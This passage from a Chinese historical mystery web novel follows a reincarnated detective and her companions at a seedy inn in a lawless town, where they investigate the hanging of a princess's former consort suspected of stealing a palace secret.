连着赶了三天的路,苗景岚一行人终于来到杨家坡。 说来也奇怪,没到杨家坡前,大家都谈虎色变。 可当大家真正来到这个小镇,却觉得也没什么大惊小怪。 除了这个镇子上的人口稀少一点,镇上的房屋少一些,镇上的居民大多对外来人保持着冷漠又警惕的眼神。 “注意了,这个镇子上的人可都不好惹。别看他们穿着寒酸,说不定就是哪个地方的逃犯,穷凶极恶的!”贾仁一改往日的痞癞语气,好心的叮嘱两个姑娘。 “放心,我心里有数。”苗景岚应了一句。 元心兰的马车停在大街上,本来是想到这里打探一下消息,到时候方便离开的。 没想到来来往往的倒吸引不少人的注意,毕竟这样的小县城里,像这样宽敞又华丽的马车很少见。 三个人先是找了一家馄饨店,打算喂饱肚子再说。 “掌柜的,来三碗馄饨。” 馄饨店的老板瞧了三人一眼,“三位客官是外地来的吧,看着面生。” “嗯,路过这里,歇歇脚。” “路口那辆大马车是你们的?哎哟喂,想不到咱们这穷乡僻壤还能遇上这样大富大贵的人。” 老店这话没让大家觉得欣喜,反倒多几分警醒。 苗景岚心想,可不是嘛,这年头普通老百姓吃饱饭都难。 结果,元心兰还坐着这样华丽的一辆马车出来,不就是像前一世某位富二代开着兰博基尼到贫民窟一样,是跑过来拉仇恨吗? 失算了失算了,苗景岚和贾仁对视一眼,显然大家都是这样想的。 赶紧打听一下元心兰二哥的事情,然后早一点离开才妙。 “掌柜的,我看你在这镇上开馄饨铺子开了很多年吧。这镇上突然来了什么人,你肯定比谁都清楚。我跟你打听一个人,三个月前来过这杨家坡。” 杨家坡的居民果然都是人精,卖馄饨的掌柜冲贾仁讪讪一笑:“这我可不清楚,小的只是开一个馄饨铺子而已,哪里有功夫记得那么多人。您要是想打听事,就去镇上的吉祥客栈吧。那里是本镇唯一的客栈,任何来到咱们镇子上的外地人都是在那里过夜,客栈里的人比谁都清楚,您有事向他们打听。” “吉祥客栈,就在镇子口上那一家吗?”元心兰想起路过时的那间破破烂烂的客栈,想不到居然是这里唯一的客栈。 “对,就是那里。我看这天色也快晚了,几位等会儿就到那里留宿吧,顺便还可以向他们打听一点事情。” 三个人吃完馄饨,直奔吉祥客栈。 吉祥客栈名字叫“吉祥”,里面的陈设一点儿也不吉祥。 两层楼高的木质楼房,破破烂烂的,野面摆放着陈旧的桌子和凳子。 或许是因为年久失修,走在那客栈的地板上总会时不时的发出吱嘎吱嘎的声响。 客栈里的伙计是一个瘦瘦高高的家伙,脸上的颧骨很高,笑起来像只皮猴。 苗景岚看了一眼那个伙计,发现此人居然还是一个驼背。 “几位远道而来,是要打尖还是住店?”驼背的瘦皮猴笑吟吟的过来招呼。 “住店。”贾仁应了一句,“给我们两间上房。” “客官,咱们这里没有什么上房,所有客栈的房间都是一个样子。”瘦皮猴解释道。 贾仁不乐意了,这客栈破破烂烂的,想必里面的房间也不怎么样。 自己一个男人还好说,可第一回带两位姑娘出门,怠慢两位姑娘就显得太不爷们。 “那你就想办法给我收拾出一间上房。”说话间,贾仁递给瘦皮猴一两银子。 瘦皮猴欢迎的接过银子,却为难的说:“客官,真的不是我不通融,实在是这客栈的条件有限。” 说到这里,他偷偷朝贾仁使一个眼色,“您瞧隔壁坐着的那一位,都住在这里半个月了,客栈里面的枕头被套一切东西统统自己换过,甚至还自己出钱买了花瓶香熏和澡盆,那才叫一个舒服。客官真的讲究,要不也自己花点钱添置?” 伙计这么一说,大家纷纷把目光投向隔壁坐着的那位客人。 只见那是一位身穿白色蜀缎锦袍的男子,五官清秀,眉目如画。 头上别着一支白玉发簪,腰上系着一条玛瑙宝石玉腰带,手指上还有一个黑玉扳指。 身上收拾得一丝不苟,连头发丝都没有一根乱的,正独自坐在一桌丰盛的酒菜前捧着一个酒杯细细的品尝。 贾仁见状,不由微微皱起眉头。 如果他在京城见到这种做派的男子,顶多会猜测那人是哪家的面首,或是被富贵官宦人家娇养的少男,甚至还忍不住讥笑几句。 可在这穷山恶水的杨家坡,出现一个这样的人,很难不被人当作怪物。 “那人是……”苗景岚好奇的问一句。 瘦皮猴解释道:“那是来这里做买卖的京城贵公子,已经在这里住了大半个月,整个杨家坡的人都知道他。说是手中有一批货要出手,可等了这么久,也没有见到来与他做交易的人。啧啧,这笔买卖要是做成了,这个人怕是这辈子都不用发愁了。” “侯三,客栈这么忙,你不去帮忙,又跑到这里来嚼舌根子,小心我这个月不给你发工钱。”一个声音尖锐的女子从二楼走下来。 苗景岚抬眼看过去,发现那是一位三十出头的少妇。 虽身材有几分丰腴,但很有风韵。皮肤宛若凝脂般细腻光滑,鹅蛋般的脸庞上一双杏眼明亮犀利闪着精光,高挺的鼻梁,小巧玲珑的嘴唇。 好一个标标致致的美人,她的出现让这间破旧穷酸的客栈都显得光辉明亮。 “三位客官,我是这间客栈的老板,名叫春娘。你们有什么事情可以找我,奴家一定尽力帮忙。”跟刚才呵斥伙计的态度不同,春娘对其他人的声音软了不少,脸上还带着如春风般的笑容。 想不到这客栈里会有这样一位漂亮的老板,能在这种地方开客栈的漂亮女人一定不是一个简单的人,苗景岚在心里面说。 “老板,我向你打听一件事情,三个月前有没有什么陌生人经过这里?” 第35章 汾酒(6) “三个月前?”春娘斜着一双杏花眼瞧着贾仁,琥珀色的眼睛上下扫视对方,像是想要把对方看透。 “瞧着客官是京城来的吧?一听口音就听得出来。你说我这小小的客栈南来北往这么多人,哪里记得三个月前有什么外地人来过,公子是要难为奴家呀。奴家命苦,守着一个破店讨口饭吃,要是吃顿饱饭或许才想得起来!” 贾仁听出春娘的弦外之音,马上从身上掏出一锭银子:“这些银子给老板娘添两个菜吧,这你总想得起来吧?” 春娘笑眯眯的接过银子,“还是公子大方,奴家这就想想。三个月前呀,好像有一个经商的公子来过,他在这里小住了两天,后来跟着两个男人走了。” “那两个男人是什么人?”元心兰一听到有自己二哥的消息,立马关切的问道。 春娘摆弄一下右手的指甲,“这奴家就不知道了,左右不过是杨家坡的‘换刀客’而已。” “什么叫做‘换刀客’?”贾仁好奇的问。 “噗嗤。”春娘朝贾仁妖娆一笑,“公子果然是刚来的雏儿,连‘换刀客’都不知道。不过也难怪,‘换刀客’是我们这里的叫法,就是我们杨家坡当地受雇做买卖的家伙。多半是一些舞刀弄剑刀口舔血的家伙,说不定有的还背着人命官司。但只要接下了买卖,不管对方的出身,只管收钱办事。” “哪怕是办的是蹲大狱的事?”苗景岚忽然间开口。 春娘朝苗景岚对视一眼,就像是相似的动物充满敌意的打量对方。 “姑娘说的极是,咱这杨家坡就是一个天不管、地不管、官家也懒得管的小地方,在这混的人多半是出于无奈。只要有一口饭吃,什么蹲大狱又有什么打紧?命都快没了,蹲大狱又算什么事?” 春娘倒也是个实诚人,贾仁又从身上掏出二两银子:“春娘,能不能给这两位姑娘弄一间上房?” 哪料春娘只是看了一眼贾仁手中的银子,却并不接,“公子怕是不知道吧。我这里没有什么上房,每一间房都是二两银子一晚。” “什么?二两银子一晚的房间,你怎么不去抢?”即便是元心兰那种出身的女子,都觉得这客栈的房间贵得离谱。 苗景岚也不由在心里面吐槽,没想到住进了黑店。 春娘却是一脸的不以为然,继续摆弄着自己的兰蔻指甲,“三位若是嫌贵啊,也可以另找住处,恕奴家不能伺候。” “你……”元心兰被对方呛得语塞。 “好了好了,左右不过是一些银两的事。天都这么晚了,这镇子又只有这么一家客栈,就先对付一下算了。春娘,这是十两银子,算是我们这两天的客栈费用。剩下的你再给这两位姑娘的房间添置一些东西,我们就在这里住下了。” “行,公子,就按你说的办。”春娘欢喜的接过贾仁手中的银子。 等春娘走后,元心兰冲贾仁小声的抱怨:“你明明知道这是一家黑店,为什么要答应住下来?” “你觉得这个老板娘会是个简单的人吗?一个女子能在这杨家坡开这么唯一的客栈,要么神通广大,要么背后有人,要么两者兼有。你不是想知道你二哥跟谁走了吗?以后还得托她帮忙。再说了,这是哪里?杨家坡呀,就算离开这家客栈,你觉得这里还有谁会在晚上收留我们?” 元心兰听完觉得有理,也没有再说什么,只能认命的住在这条件简陋的客栈里。 贾仁住在南边的一间房,苗景岚则主动要求跟元心兰住一间房。 一是为了安全,二也是为了安全。 说。 “元姑娘,这客栈不知道是什么来路,咱们还是住在同一间房里,好有个照应。”苗景岚对元心兰说。 “好的,苗姐姐,我们可以住在一起聊天了。”元心兰一幅天真无邪的模样。 春娘收到贾仁的银子,给两个姑娘安排另一间房,又安排伙计瘦皮猴带他们到西边的一间房。 刚刚推门走进去,就闻到房间里面有一股浓重的发霉的味道,混杂着一种淡淡的腐臭味。 “哎哟,好臭好臭。小二,你怎么带我们住进这样的房间?”元心兰气愤的朝瘦皮猴抱怨。 “哎呀,姑娘,这间就是本店最大最好的房间,平常要三两银子一晚的呢。你没看见这床都比别的房间大吗?” “三两银子一晚,有人住吗?我看你这里是黑店吧,这么臭的房间也拿给客人住!” “小娘子别生气,这间真的是本店最好的房间了。只是许久没人住,味道是要重一点,等会儿就给你们房间送来香熏,保证一点味道也没有,嘿嘿。前面那位公子已经叮嘱过了,等会儿就把姑娘们需要的新被褥和洗澡盆什么的全部送过来。” 苗景岚倒没有那么多的讲究,前一世她独自办案的时候,遇上过比这还差的旅馆。 跟面对穷凶极恶的罪犯相比,住在什么样的地方真的不算什么。 “店小二,记得跟我们烧两桶热水。” 苗景岚把行李丢到床上,人就坐在椅子上假寐,坐了一天的马车,真的太累了。 瘦皮猴应了一声,转身出去。 苗景岚刚刚睡着,就听到元心兰哇地一声大叫,把苗景岚彻底吵醒。 “怎么回事?”苗景岚以为是房间里闯进什么坏人。 可是,她却看到元心兰穿着鞋站在床上跳脚,眼中甚至还带着恐惧的泪水,一边跳脚一边喊着,“蟑……蟑螂!” 苗景岚险些没有踹元心兰一脚,因为看见一只小强就呼天喊地,真是没有见过世面! 她上前两步,一下子把床上的被子扯下来抖了两下,把那只蟑螂抖下来,然后用鞋底狠狠踩上两脚。 蟑螂很快死翘翘了。 元心兰对苗景岚却流露出一脸崇拜的模样:“苗姐姐,你好厉害呀。你居然不怕这种毒虫?” 呵呵,这也算毒虫? 这在我们那里顶多算是小强而已,老娘一脚能干死它四五个。 恰巧闻声赶过来的贾仁看到这一幕,“你们要不要下去再吃点什么?” “不想吃,没胃口。”元心兰想到刚才踩死的蟑螂,就完全没有胃口。 苗景岚倒是饿了,“再尝点什么吧,一碗馄饨根本吃不饱。” …… 第36章 汾酒(7) 吉祥客栈。 傍晚。 血红暗淡的夕阳沿着吉祥客栈破旧的窗户斜斜的射进来,映照出斑驳的光影在每个人的身上。 贾仁、苗景岚和元心兰三人坐在客栈的一角,打量着此时来客栈吃饭的客人。 这些都是住在客栈里的旅客,在这里住宿是包伙食的,所以到这个点上,住店的客人都回来吃饭住宿。 除了贾仁那桌,这里还有四桌客人。 白天那个像面首一般的男子是一个人一桌。 旁边还有两个西域打扮的怪人,对着一盆羊肉大吃特吃。 还有一家三口,一对老夫妻带着一个丑闺女,各自吃着面。 最后挨着楼梯坐下来的五个人,三男一女,也是低着头喝酒吃菜。 顿时,苗景岚只觉得这客栈的气氛有些古怪。 贾仁仔细观察着这几伙人,问苗景岚:“可曾看出一点什么?” 苗景岚沉默片刻,说出自己的猜测:“那两个西域人是易过容的,他们点的是一盆羊肉,按理说西域人吃羊肉是直接用手抓,但他们却用筷子,而且筷子用得还十分熟练。” “哇,苗姐姐,你好厉害!”元心兰忍不住夸赞。 贾仁认同的点点头,继续补充:“而且那两个人身上的衣服也不合适,个子高的左肩上可能有伤,要不然不会一边吃饭还一边揉肩。” “哟,观察还挺仔细嘛。”苗景岚夸了对方一句。 “那当然,近朱者赤,近墨者黑。也不看看我天天跟谁在一起?”贾仁登鼻子上脸的说道。 苗景岚白了对方一眼,继续说道:“那一家三口也是易过容的,看他们脸上的皮肤和手上的皮肤根本不一样,脸上一定是戴上人皮面具。” 元心兰忍不住吐槽:“这些人真是有病,好端端的为什么要易容?” “至于那桌三男一女的四个人,他们吃饭的动作都一致,像是受过严格纪律的控制,很有可能是军中之人。”苗景岚继续猜测。 “不用猜,那些人是京城的禁军。”贾仁打断他的话。 苗景岚好奇的问:“你怎么知道?” “看他们脚上穿的靴子,那是禁军穿的锦靴。”贾仁拿起茶杯喝上一口。 “禁军的人怎么会来这里?” “呵呵,看来这个小小的杨家坡,还真是藏龙卧虎呀。” …… 三个人讨论着这个客栈里头其他的客人。 伙计瘦皮猴端着一壶水殷勤的走过来,“三位客官,可是晚上要吃点什么?” “给我一碟牛肉,一碗蒸鸡蛋,一盘青菜,再来一壶好酒。另外给两个姑娘来只烧鸡和酱猪蹄。” 瘦皮猴朝贾仁轻轻一笑,“公子,咱们这地方小,可没有这些东西。只有鸡蛋、猪肉、羊肉、馒头和面条。” “给我来一碗阳春面吧。”苗景岚随口说道。 想起床上的那只蟑螂,元心兰胃里还是泛起一阵阵恶心:“给我两个馒头。” 看到随行的两位姑娘都没点什么,贾仁忽然觉得兴趣缺缺,“那好,也给我来一碗阳春面吧。” “好咧。三位客官请稍等,马上就送过来。” 瘦皮猴伙计勤快的跑去准备晚饭。 苗景岚瞅瞅那位富贵闲人,看来他比元心兰好不到哪里去,来这种小镇真是难为他们了。 可那家伙为什么要点跟自己一样的东西,真是讨厌。 过了没多久,伙计把大家吃的东西送过来。 贾仁还不忘接着打听:“我说你们这吉祥客栈生意还挺红火的,虽然这店又破又小,还住进去这么多人。” “哎哟喂,客官,您是不知道呀,咱们这店可冷清呢,有时候大半个月没有客人光顾也是常事。也就这两天吧,客人渐渐多起来,好像是打从那位京城的贵公子来了之后,生意才渐渐好起来。” “从京城来的贵公子?”贾仁听到这个词觉得有些不自在,作为京城第一纨绔,居然有人敢在自己面前称谁为贵公子,让他很不爽,“你说的就是那个长得跟个女人似的家伙?” “对对对。那位公子出手大方,听说他特意守在这客栈,就是为了做一桩大买卖。” “什么买卖?” “这小的可不知道,反正他身上肯定有很贵重的东西。其实您别看咱们这地方小,可南来北往做买卖的人可不少,这一经手呀,说不定就是天大的买卖。”侯三的眼中无不流露出羡慕的神情。 “呵呵,天大的买卖,那倒也是。”苗景岚轻笑一声。 但凡跑到杨家坡避难的家伙,哪个不是犯下天大的案子然后亡命于此,可不就是天大的买卖吗? 可是,那个长得比女人还好看的家伙,看上去肩不能扛手不能提的,他会犯下什么样的案子?还要跑到这里来做买卖? 吃过晚饭,又闲聊几句,苗景岚、元心兰和贾仁三人又各自回房。 这一天他们睡得很沉。 夜半时分,大家从侯三杀猪般的叫喊声中被吵醒。 “杀人了,杀人了!” 大家纷纷从房间里面跑出来,就见客栈二楼的走廊上吊着一具尸体。 那尸体头发垂下来,看不见脸,身体随着夜风轻轻摆动,像是均匀运动的钟摆。 苗景岚看着那尸体的身形,觉得有几分眼熟。 她刚想再上前看个仔细,却被元心兰一把拉住。 元心兰一边拉着她的衣角,一边瑟瑟发抖的哭喊着:“苗……苗姐姐,怎么办?我……害怕!” 苗景岚很想推开她的手,并且怼她一句:人都死了,还怕个逑? 可是,出于礼貌,也出于对这小姑娘的同情,没有说出来。 最后换成一句:“别怕,有我在!” 元心兰感动的抱紧苗景岚,“姐姐,你真好!” 我不好,如果可以的话,请放开我,让我检查一下那具尸体。 苗景岚压抑出心中的冲动,摸摸元心兰的头,好好安慰一下对方。 这时候,客栈里面的客人差不多都跑出来,全部都看见吊起来的那具尸体。 可是,这些人有些表情阴冷,有些表情厌恶,唯独没有恐惧和害怕。 还真的都不是一般人呀,苗景岚在心里面吐槽。 这时候,一个尖锐的女声响起,“还傻愣着干什么?快把尸体抬下来!” 第37章 汾酒(8) 一个尖锐的女声响起,“还傻愣着干什么?快把尸体抬下来!” 说这话的不是别人,正是客栈的老板春娘。 春娘见一大早客栈便死了人,整个人都觉得晦气,大喊着手底下的伙计把尸体抬下去。 即便是这龙蛇混杂的杨家坡,也对死人这种事情也有些忌讳。 “不行。你们这么快就处理尸体,会把尸体上面很多的线索给消除的,到时候官府派人上门,你们也不好交待。” 处于前一世的职业本能,苗景岚不希望他们就这样草草的收拾尸体,想要获取更多的有价值的信息,以便将来更好的侦破案件。 可是,春娘厌恶的扭头看过苗景岚一眼,语带讥诮,“哟,想不到咱们这小小的客栈还住了一个能耐人!姑娘,你是不知道吧,咱们这杨家坡根本就没有什么官府。” “怎么会没有官府的地方?难道这里平常都没有人管吗?”元心兰不太相信。 “早先的时候,是归隔壁的林清县管,但是以往的九个县令,病死一个,革职查办两个,被人杀掉了六个,其实被杀的六个都是因为杨家坡的案子而死。从此之后,凡是林清县上任的县令没有再敢管杨家坡的事情。” 元心兰像是听到什么奇闻,不敢置信的继续追问:“那……那平常这里发生案子怎么办?” “那就按照江湖上的规矩呀,该咋办就咋办呀。比如这个人,不管他是横死的还是被人杀死的,都会给他在杨家坡立个墓,算是不让他成为孤魂野鬼。” “那杀死他的人怎么办?”元心兰真是一个好奇心重的宝宝,哪怕是在杨家坡这样的地方也是好奇心满满。 “该咋办咋办呀。我会在杨家坡发江湖令,叫这里的乡亲们帮帮查找真凶。逮到了就地偿命,没逮到算他倒霉。”风韵十足的老板娘说得英姿飒飒,看样子已经不是第一次处理这个问题。 “老板,不用急着发江湖令,这个案子我就能替你破。”为了能够阻止春娘移动尸体,苗景岚只能这样说。 顿时,春娘的眼睛放光,看向苗景岚的眼神充满玩味:“什么,你会破案?难不成你是官差。” “不是。我是一个酿酒师。”虽然不是一个专业的酿酒师。 “哈哈。真是世界之大,无奇不有,我头一回见到女酿酒师,也是头一回听说酿酒师可以破案。这行当之间差得可不是一星两点。” 大姐,那是你不知道什么叫做跨界,苗景岚在心里面吐槽。 “三天之内。三天之内我定能查到凶手,但是必须满足我两个条件。” “什么条件?”春娘睁大一双杏眼问道。 “第一,昨晚住进客栈的客人不能离开,我猜测凶手很有可能就在这些人里面;第二,死者的尸体和所有东西都不能碰。三天之后,我一定能给春娘老板一个交待。” “好,倒是一个爽快人。那我答应你这两个条件,只要你能给老娘找到凶手。” 就在这时,春娘手底下的瘦皮猴伙计急匆匆的一指不远处的一房间,“你们先别想什么找凶手了,快看,那死去李公子的东西都快被人偷光了!” 大家顺着侯三所指的方向看去,就见二楼客栈最南边的一间房,那三男一女正毫无忌惮的翻找着里面的东西,像是着急寻找什么。 春娘立马就一阵风一般的冲过去,尖着嗓子呵斥那四个人:“干什么干什么?这人刚死就想抢东西呀。我告诉你们呀,就算这杨家府没有官府管,也由不得你们这样撒野。” 那四个人听到春娘的话,却没有任何的忌惮,甚至手里的动作都没有停顿一下。 为首的一个更是从身上掏出一个令牌,“京城办案,闲杂人等休要靠前!” “啥?老娘的客栈,你管老娘叫闲杂人等?”春娘好悬鼻子没有被气歪,“老娘管你们是什么京城来的,老娘只知道在这个客栈里,就得按照老娘的规矩办事!侯三,快操家伙!” 瘦皮猴一脸的为难,“老板娘,他们可是四个人呀,我打不过!” “打不过叫人呀。吹骨笛把这杨家坡能打的全叫来,看他们还能不能活着走出这里?”春娘厉声吩咐伙计。 伙计侯三快哭了,“老板娘,骨笛不是在你那里吗?” “瞧我气得把这都忘了。” 春娘急着想去叫人,那边四个禁军的人已经从死者的房中翻到什么,正打算把东西往身上一揣,却被那一家三口之中的男人叫住。 “人家客栈老板都说了,不让你们碰这里的东西,你们是没听见吗?”说话间,那位男性老者已经把手中的大刀架到对方的脖子上。 “大胆!你们可知道我们是什么人吗?”手拿令牌的禁军统领怒目圆睁,眼睛里面都快要冒出火来。 可那男老者也不是一个善茬:“老子管你们是什么人,把从这个房间里找到的东西拿出来,否则你们谁也不要想离开这里!” 顿时,剑拔弩张,一触即发。 春娘见此情形,追问道:“你们拿了李公子什么东西,快点交出来。这人才刚刚死,你就想偷走人家的东西,还要不要脸了?” 禁军统领的脸涨得通红:“你们胡说什么,你们可知道那姓李的究竟是什么人?” “他是什么人?”苗景岚三人走过来,看着刚才这一幕,引起苗景岚的好奇心。 禁军统领回答:“此人名叫李斌,是京城长公主的男宠。一个多月前长公主病逝,李斌私自带着长公主的贴身宝物离京,我等奉命追查此人,追回长公主的宝物。” 哦,那个好看的男人还真是面首。 “左右不过是公主相好的拿点东西变卖,至于这么兴师动众大老追跑到杨家坡来追杀人家吗?”春娘嘀咕着,似乎已经认定这伙禁军之人就是杀害李斌的凶手。 禁军统领涨红了脸,“你胡说什么?谁说他是我们杀的?” “哼,你们千里迢迢从京城跑过来,如今东西又在你们的手里,人不是你们杀的还能是谁?” 第38章 汾酒(9) 那三男一女非常的团结,见其他人阻碍他们带走死者的东西,马上拿起刀剑组成一个环形的方阵。 为首的那名禁军统领马上说:“京城禁军办差,任何人敢要阻拦,格杀无论!” 说话间,四人纷纷亮起家伙。 眼看着这客栈马上就要变成战场。 就看到一个人慢悠悠的走过来,声音幽幽。 “能劳动京城禁军的大驾,想必这个李公子肯定在京城干下惊天的勾当,不仅仅是偷走长公主随身宝物这么简单。几位若是想走,不如仔细跟我们说一说?”不知道什么时候,贾仁手里面拿着一把扇子,一步一摇的走到四人跟前。 那名禁军统领一皱眉头,“你是何人?朝廷办案轮得到你在这里多嘴?” “哟嗬,你不认得我,总该认得这块玉牌吧?”贾仁将身上的一块玉牌掏出来。 禁军统领一看到那个字,不由瞳孔放大,立马跪下来,嘴里面尊敬的说道:“王……” “王什么王?老子姓贾!你记住,老子现在是贾公子!”贾仁给对方使了一个眼神,并且制止住统领要跪下来的动作。 “贾公子,是卑职有眼不识泰山,在下和几位同僚一块办差,途经此客栈,不知公子真正身份,请公子恕罪!” “唉,别废话了!刚刚藏起来的东西呢,拿出来吧。再把那个李公子在京城犯的案子老老实实说出来吧,大家等着听呢。”贾仁是个急性子,直接催促统领说出实情。 禁军统领一脸为难:“这……” “别这儿那儿的了,人命关天!你刚才也听见了,老板说查不出谁是凶手,谁也不能离开这里。你也不想官差来这里办案,落下一个草菅人命、滥杀无辜的名头吧?” 禁军统领略一犹豫,把身上藏起来的一块刻着字的玉坯拿出来。 贾仁接过玉坯,仔细观看。 除了上面刻了一行小字:赠爱郎李斌。 再也没有其他什么痕迹。 想必这块玉坯是长公主送给自己面首的。 只是看不出有什么特别的地方。 “快说说这个李斌究竟在京城做了什么?” 那名首领略微思索片刻,最终大胆的说:“贾公子,不是在下不肯说,真的是此事事关皇家机密,不能对其他人说。不如让其他人退下,属下单独说给你听。” “可是倒是可以,不过她得留下。”贾仁一指苗景岚,意思是客栈里所有的人除了他和苗景岚两个,其他人都不能听。 “这……” “你们能不能清清白白的离开这里,还得靠她找出真凶,她必须知道!” “好吧。其他人听着,我们有要事要说,你们暂且离开。”禁军统领亮出手中的令牌。 春娘瞪了对方一眼,“哼,不听就不听,跟谁稀罕似的。” 客栈里的人陆陆续续离开这个房间,最后只剩下禁军统领、苗景岚和贾仁三个。 本来苗景岚觉得既然是皇室机密,自己也不听为妙,可听说与凶杀案有关,又忍不住不听。 想一想,既然跟案子有关,还是听一听吧。 禁军统领娓娓道来:“这个李斌,曾经是长公主最中意的面首。长公主临死之前,都是这个李斌在旁边照顾。只是长公主一死,他当夜就带着长公主的宝物私自离开。” “为什么说他是私自离开?难不成长公主的死与他有关?”苗景岚好奇的问。 贾仁这个八卦男也顺势问:“长公主是怎么死的?” 因为皇室里这种丑闻实在太多了,皇亲国戚养什么娈童、幼女的,又养了数十个面首的,听多了都见怪不怪。 至于这个长公主,是前朝皇帝的长姐,年轻时曾为了和亲嫁给番王,结果那番王早逝,长公主年纪轻轻就守寡,也算是为国家做出牺牲。 无论是前朝皇帝,还是当今皇帝,都对她格外开恩,权当是照顾人家养老。 而这个长公主呢,也是人老心不老,年近古稀还在养面首。 这些事情,贾仁在京城的时候就略有耳闻,只是没想到会和这个长公主有交集。 “长公主死于风疾,并非被人谋害。”禁军统领解释道。 “那这个李斌难道有什么官家的身份,他本就是一个面首,在长公主死后离开本属于正常的事情,难道你们皇室有叫面首陪葬的习俗?”苗景岚不解的问。 禁军统领警惕的看了对方一眼,从刚才他就觉得好奇,怎么会让一个女子来查案。 可听刚才这女人的问话,又觉得她似乎比常人要敏锐许多。 “李斌除了是长公主的面首之外,也是钦天监的一名学徒。钦天监每隔三年召一回学徒,或是天资超凡,或是有人举荐,若是没学满三年,不得私自离开钦天监。长公主一死,他本来可以重获自由,可是他偏偏偷了长公主的宝物,又伪造公函,私自逃离京城,我们可是追查他好久,才在这里找到他的。” “他究竟偷走了什么样的宝物?”苗景岚接着问。 什么样的宝物值得禁军统领大老远从京城追过来?如果是普通的金银玉器,随便找个地方出手,也不至于搭上自己的命吧。 “那并非是普通的宝物,而是一段刻着当年皇室一宗秘闻的证据。据说,知晓当年那段历史的人都已经过逝,唯有长公主还知晓,并且用特殊的方式记录下来。如果这段秘闻被其他人知晓,有可能引起天下大乱。” “哦?这么严重?”这下子连贾仁的好奇心也被钓起来了。 他在京城这么多年,从来没有听说过有什么只有长公主知道的皇室秘闻。 还能引起天下大乱,这么夸张? 没想到这个禁军统领还挺会讲故事的。 “你知道那是什么秘闻吗?”贾仁靠近对方问。 禁军统领老老实实回答:“卑职不知。” 苗景岚心说,你当然不知,要是知道的话,还有命在这里吗? “那段秘闻,难道就刻在李斌的那块玉坯里吗?”苗景岚问。 “这个……卑职也不知道,只是翻遍了李斌的物品,只看到这块玉坯里面有字。” 第39章 汾酒(10) 苗景岚听完禁军统领的话,开始重新审视李斌的这个房间。 客栈的房间本来是一般大小,但是这个李斌似乎平时过惯穷奢极欲的生活,连一个客栈的房间都要布置得华丽舒适。 房间的一角摆放着香熏,床上铺着全新的锦缎被褥,地上还摆放着一个大澡盆,澡盆的一角是一小块皂角。 这怕是李斌在杨家坡能够找到的最好的布置。 看到这一切,苗景岚忍不住在心里面吐槽:这个李斌还真是一个被公主娇养的面首呀,连逃难都要过得这样奢华。 可是,这一切在禁军的人闯入之后,东西被翻得乱七八糟。 他们在李斌的床上发现他的包袱里面装满金银首饰和不少的玉器吊坠,想来是长公主生前赏给他的,要不就是这家伙在长公主死后私自偷走的。 反正现在死无对证。 不过,跟这些东西的价值相比,那个首领口中的前朝皇室秘闻更为贵重一些。 只是那块玉坯里面真的记录的是前朝秘闻吗? “统领大人,不知道你手中的玉坯能否让我瞧瞧?”苗景岚问道。 禁军统领游侍,打心眼里不愿意把自己刚刚找到的东西交到这女人手里。 可偏偏这女人是那人引荐的,若是违背他的意思,岂不是故意找自己的不痛快。 也罢,就瞧瞧这女人有什么本事吧。 游侍把那块玉坯递给苗景岚,苗景岚接过来在手中反反复复的观察几遍。 然后,笑一笑还给游侍:“统领大人,恐怕你搞错了,这只是一块普通的玉坯,并没有刻着什么皇家秘闻。” 可是,游侍不相信。 “哦,何以见得?” “大人,你看到的可是那玉坯里面有一个由红色裂纹组成的‘大字’,这裂纹是天然形成,里面坑坑洼洼的不像是人工雕刻而成。最重要的是,后面不知道是谁用凿子凿了一个点。大人,你说这个大字和那个点组成的像是什么字?” 游侍略微一琢磨,顿时恍然大悟:“你说那是一个‘犬’字?” “呵呵,正是。你说这样的字迹,会是什么皇室秘闻吗?”苗景岚轻笑一声。 想不到堂堂的京城禁军跑到杨家坡追查的皇室秘辛居然是一块刻有“犬”字的玉坯,这传出去怕是要让人笑掉大牙吧。 游侍不由涨红了脸,不服气的说:“你凭什么说这不是,那李斌会把东西藏在哪里?” 苗景岚扫视一眼四周,地面上有少许黄色的泥土,呈现两条鲜明的竖线开关,明显是有人拖动的痕迹。 可见,尸体被吊起来的客栈走廊并不是第一案发现场。 凶手极有可能在李斌的房间里先把人杀死,然后把人吊死在走廊。 只是,凶手为什么要这样做呢? 还有,李斌偷走的长公主的宝物究竟藏在哪里呢? 会不会已经被凶手带走? 如果之前第一现场没有被人翻动过,苗景岚有可能找到更多有价值的线索。 可惜这帮草包,为了利益大打出手。 现在现场不仅原有的凶手痕迹被破坏,连带着还有禁军和那位神秘长者两人动手的痕迹,想要找到线索更是难上加难。 苗景岚再次检查一番李斌留下来的东西,忽然有了一个想法。 之前店小二说李斌之所以留在杨家坡,是因为想跟那人做交易。 如果那人也是冲着这皇室秘闻而来,极有可能是在拿到东西之后想杀人灭口。 东西很有可能在凶手手中。 可是,自打住进这家客栈,苗景岚就发现这家客栈看似又破又小,但是出入口只有一个,连个后门都没有。 如果凶手杀人,只能从客栈唯一的出入口进入。 而每到夜晚,这家客栈就会从里面上锁。 那也就是说,凶手只有可能还在这客栈里面。 而且,就是客栈里头的某个客人。 苗景岚微微眯起双眼,陷入沉思状。 贾仁见状,脸上的表情充满玩味。 他知道只要苗景岚在思考案情时,整个人就会呈现这样一种状态。 她聚精会神思考的样子,真的很有魅力。 苗景岚完全不知道,自己在认真思考案情时的样子,已经让某人陶醉。 她虽然没有跟李斌打过交道,但听店小二提起,还有其他人的描述,大致猜到李斌究竟是个什么样的人。 虚荣、龟毛、奢侈、贪财、细腻,这样一个人会把自己用来交易的皇室秘闻藏在什么样的地方? 忽然间,她有了一个大胆的想法。 “统领大人,我并不知道李斌把东西藏在哪里。但是,我可以试着把杀害李斌的凶手找到,那东西说不定就藏在凶手的身上。” 苗景岚此话一出,游侍和贾仁的眼睛都亮了。 “什么?你有办法找到凶手?” “快说,是什么办法?” “我不确定那办法管不管用,但是可以试一试。” …… 半个时辰之后,贾仁、苗景岚、游侍三人从死者的房间里面走出来。 春娘一看见他们,马上追问:“怎么样,怎么样?有没有找到那宝贝?” 游侍脸色阴沉,对着春娘也没有一个好脸色,语气不善的应了一句:“没有。” “哎哟,我以为你们在这房间里面翻到了宝贝呢,瞧耽误我功夫。” “昨天在这客栈住过的人,一律来到一楼,站成一排。” 春娘杏眼一瞪,眉目如画的脸上泛起怒容:“我说京城来的,你这是要干什么?要知道我才是这客栈里的老板,轮得到你在这里指手划脚?” 游侍还是那幅“我是官差我怕谁”的表情,他略微拔一下手中的大刀:“京城禁军办案,闲杂人等休要多言,否则格杀勿论!” 